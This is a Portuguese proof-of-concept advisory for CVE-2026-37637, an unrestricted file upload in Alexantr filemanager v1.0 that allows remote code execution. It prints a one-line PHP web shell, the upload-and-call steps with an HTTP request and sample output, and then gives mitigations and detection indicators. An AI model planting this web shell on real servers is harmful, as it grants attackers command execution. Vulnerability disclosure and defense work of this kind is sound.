
Execução Remota de Código no Alexantr filemanager v1.0 via upload de arquivo sem restrições
Prova de Conceito para CVE-2026-37637 - Execução Remota de Código no Alexantr filemanager v1.0 via upload de arquivo sem restrições em filemanager.php.
CVE-2026-37637 é uma vulnerabilidade de Execução Remota de Código que afeta o Alexantr filemanager v1.0.
A vulnerabilidade existe no componente filemanager.php devido à validação insuficiente dos arquivos enviados. Um atacante remoto pode enviar um arquivo PHP malicioso para um diretório acessível pela web e executar comandos arbitrários no servidor.
Status do CVE: Enviado à MITRE
Pesquisador: CYBER-SEC Repositório do fornecedor: https://github.com/alexantr/filemanager
| Item | Descrição |
|---|
| ID do CVE | CVE-2026-37637 |
| Tipo de Vulnerabilidade | Execução Remota de Código |
| Produto Afetado | Alexantr filemanager |
| Versão Afetada | v1.0 |
| Componente Vulnerável | filemanager.php |
| Vetor de Ataque | Remoto |
| Autenticação Necessária | Depende da implantação/configuração |
| Impacto | Execução arbitrária de comandos |
| Causa Raiz | Upload de arquivo sem restrições e falta de validação de arquivos no lado do servidor |
Um atacante pode enviar um arquivo PHP malicioso através da funcionalidade de upload de arquivos. Como os arquivos enviados são armazenados em um local acessível pela web e a execução de PHP é permitida, o atacante pode executar comandos arbitrários do sistema no servidor.
A exploração bem-sucedida pode permitir que um atacante:
A aplicação permite que usuários enviem arquivos arbitrários sem validar adequadamente a extensão do arquivo, o tipo MIME ou o conteúdo do arquivo.
Um arquivo PHP malicioso como o seguinte pode ser enviado:
<?php system($_GET['cmd']); ?>
Uma vez enviado para um diretório acessível pela web, o atacante pode executar comandos acessando o arquivo pelo navegador e passando comandos através do parâmetro cmd.
Exemplo:
http://target/uploads/shell.php?cmd=id
Isso resulta na execução de comandos no sistema operacional subjacente.
git clone https://github.com/alexantr/filemanager
cd filemanager
php -S localhost:8000
Abra a aplicação em um navegador:
http://localhost:8000/filemanager.php
Dependendo da implantação ou configuração, a aplicação também pode ser acessada através de:
http://localhost:8000/pheditor.php
Crie um arquivo chamado shell.php:
<?php system($_GET['cmd']); ?>
Envie o arquivo usando a funcionalidade de upload da aplicação.
Após enviar o arquivo, acesse-o diretamente pelo navegador:
http://localhost:8000/uploads/shell.php?cmd=id
Se a exploração for bem-sucedida, o servidor executará o comando e retornará a saída.
Exemplo de saída:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<?php system($_GET['cmd']); ?>
GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target
User-Agent: Mozilla/5.0
Connection: close
O comando fornecido através do parâmetro cmd é executado no servidor.
A vulnerabilidade é causada pela validação insuficiente no lado do servidor na funcionalidade de upload de arquivos.
A aplicação não restringe adequadamente:
Como resultado, arquivos PHP executáveis podem ser enviados e executados diretamente.
O fornecedor e os usuários devem implementar as seguintes proteções.
Desabilitar o upload de tipos de arquivo executáveis, como:
.php, .phtml, .php3, .php4, .php5, .phar
Permitir apenas tipos de arquivo esperados, por exemplo:
.jpg, .png, .gif, .txt, .pdf
Não confiar apenas no cabeçalho Content-Type fornecido pelo cliente.
A validação de arquivos deve ser realizada no lado do servidor.
Os arquivos enviados não devem ser diretamente executáveis ou publicamente acessíveis.
Para Apache, isso pode ser feito com .htaccess:
php_flag engine off
RemoveHandler .php .phtml .php3 .php4 .php5 .phar
RemoveType .php .phtml .php3 .php4 .php5 .phar
Para Nginx, impedir o tratamento de PHP em caminhos de upload:
location /uploads/ {
location ~ \.php$ {
deny all;
}
}
Use nomes de arquivo aleatórios gerados pelo servidor e remova extensões controladas pelo usuário.
Restringir a funcionalidade de upload apenas a usuários confiáveis.
Os administradores podem procurar por arquivos PHP suspeitos enviados em diretórios acessíveis pela web.
Exemplos de indicadores:
shell.php
cmd.php
upload.php
backdoor.php
arquivos .php dentro de diretórios de upload
Padrões de requisição suspeitos podem incluir:
?cmd=
?exec=
?shell=
?command=
Exemplo de entrada de log:
GET /uploads/shell.php?cmd=id HTTP/1.1
Este repositório é fornecido apenas para fins educacionais e de segurança defensiva.
As informações e a prova de conceito têm como objetivo ajudar desenvolvedores, administradores de sistemas e profissionais de segurança a entender e remediar a vulnerabilidade.
Não use estas informações para atacar sistemas sem autorização explícita. O acesso não autorizado a sistemas de computador é ilegal.
O autor não é responsável por qualquer uso indevido das informações fornecidas neste repositório.